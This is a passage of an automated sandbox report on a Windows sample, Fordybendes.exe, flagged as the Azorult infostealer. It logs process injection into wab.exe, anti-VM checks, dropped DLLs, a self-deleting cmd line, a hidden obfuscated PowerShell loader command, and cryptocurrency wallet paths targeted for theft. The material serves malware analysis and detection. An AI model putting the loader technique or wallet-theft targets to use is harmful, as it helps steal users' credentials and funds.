Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API/Special instruction interceptor: Address: 4A30BB8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6421			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3233			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\nssdbm3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\freebl3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\softokn3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\nss3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7860

Thread sleep time: -6456360425798339s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405A19
Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_004065EA FindFirstFileA,FindClose,	0_2_004065EA
Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_004027CF FindFirstFileA,	0_2_004027CF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_049CDBD0 GetSystemInfo,

2_2_049CDBD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Fordybendes.exe, 00000000.00000003.1378775206.0000000004B5F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n"^QEmu
Source: wab.exe, 00000007.00000002.3198702705.0000000009B2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wab.exe, 00000007.00000003.3084516455.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009A78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wab.exe, 00000007.00000003.3084516455.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Fordybendes.exe	API call chain: ExitProcess graph end node			graph_0-3371
Source: C:\Users\user\Desktop\Fordybendes.exe	API call chain: ExitProcess graph end node			graph_0-3534

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_049CC7C0 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

2_2_049CC7C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 4060000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2B8F978			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\Fordybendes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$cardinalfishes=get-content 'c:\users\user\appdata\local\stagnantness\topchef\fletcher\fiskestimes\statsskattedepartement.und';$ventricolumnar=$cardinalfishes.substring(54973,3);.$ventricolumnar($cardinalfishes)"
Source: C:\Users\user\Desktop\Fordybendes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$cardinalfishes=get-content 'c:\users\user\appdata\local\stagnantness\topchef\fletcher\fiskestimes\statsskattedepartement.und';$ventricolumnar=$cardinalfishes.substring(54973,3);.$ventricolumnar($cardinalfishes)"			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Fordybendes.exe

0_2_004033A2

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match

File source: Process Memory Space: wab.exe PID: 1184, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
